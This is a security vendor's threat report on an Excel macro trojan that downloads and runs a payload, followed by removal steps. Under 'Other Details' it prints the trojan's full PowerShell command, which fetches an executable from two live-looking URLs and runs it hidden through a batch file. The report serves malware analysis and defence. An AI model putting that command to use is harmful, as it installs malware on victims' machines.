Trojan.X97M.POWLOAD.AG

 Analysis by: Augusto II Remillano

 ALIASES:

TrojanDownloader:O97M/Donoff (Microsoft), VBA/TrojanDownloader.Agent.KOT trojan (NOD32)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware, Spammed via email


This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

58,880 bytes

File Type:

XLS

Memory Resident:

No

Initial Samples Received Date:

21 Sep 2018

Payload:

Drops files, Downloads files, Connects to URLs/IPs

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %User Temp%\qeneral.bat

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

It adds the following processes:

  • %User Temp%\qeneral.bat

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}dcafeonline.com/conte.ntet
  • http://{BLOCKED}an.com/conte.ntet

It saves the files it downloads using the following names:

  • %User Temp%\work.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

  • This Trojan executes the following command to download and execute a malicious file:
    • cmd /c powershell "'powershell ""function better([string] $qqqqqqqq_qqqqqq74_qqq){(new-object system.net.webclient).downloadfile($qqqqqqqq_qqqqqq74_qqq,''%tmp%\work.exe'');start-process ''%tmp%\work.exe'';}try{better(''http://carasaan.com/conte.ntet'')}catch{better(''http://mustardcafeonline.com/conte.ntet'')}'"" | out-file -encoding ascii -filepath %tmp%\qeneral.bat; start-process '%tmp%\qeneral.bat' -windowstyle hidden"
  • The Microsoft Excel file contains the following fake details luring users to enable macro content:

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

14.516.05

FIRST VSAPI PATTERN DATE:

20 Sep 2018

VSAPI OPR PATTERN File:

14.517.00

VSAPI OPR PATTERN Date:

21 Sep 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %User Temp%\work.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.X97M.POWLOAD.AG. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 5

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]


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